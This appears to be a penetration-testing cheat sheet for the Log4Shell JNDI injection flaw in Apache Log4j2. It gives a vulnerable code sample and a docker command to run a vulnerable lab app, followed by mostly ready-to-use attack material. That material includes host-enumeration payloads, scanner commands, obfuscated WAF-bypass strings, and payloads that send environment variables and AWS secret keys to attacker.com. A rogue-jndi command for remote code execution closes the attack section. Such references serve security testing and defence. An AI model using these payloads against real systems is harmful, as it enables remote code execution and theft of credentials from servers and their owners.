Log4Shell

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled

Summary

• Vulnerable code

• Payloads

• Scanning

• WAF Bypass

• Exploitation

  • Environment variables exfiltration

  • Remote Command Execution

• References

Vulnerable code

You can reproduce locally with: docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app using christophetd/log4shell-vulnerable-app or leonjza/log4jpwn

public String index(@RequestHeader("X-Api-Version") String apiVersion) {
    logger.info("Received a request for API version " + apiVersion);
    return "Hello, world!";
}

Payloads

# Identify Java version and hostname
${jndi:ldap://${java:version}.domain/a}
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
${jndi:ldap://${sys:java.version}.domain/a}
${jndi:ldap://${sys:java.vendor}.domain/a}
${jndi:ldap://${hostName}.domain/a}
${jndi:dns://${hostName}.domain}

# More enumerations keywords and variables
java:os
docker:containerId
web:rootDir
bundle:config:db.password

Scanning

• log4j-scan

  usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
                      [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
  python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
  python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass

• Nuclei Template

WAF Bypass

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}

# using lower and upper
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

# using env to create the letter
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}

Exploitation

Environment variables exfiltration

${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/

# AWS Access Key
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}

Remote Command Execution

• rogue-jndi - @artsploit

  java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
  Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
  Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
  Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
  Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
  Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
  Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
  Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
  Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

• JNDI-Exploit-Kit - @pimps

References

• Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021

• Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021

• PSA: Log4Shell and the current state of JNDI injection - December 10, 2021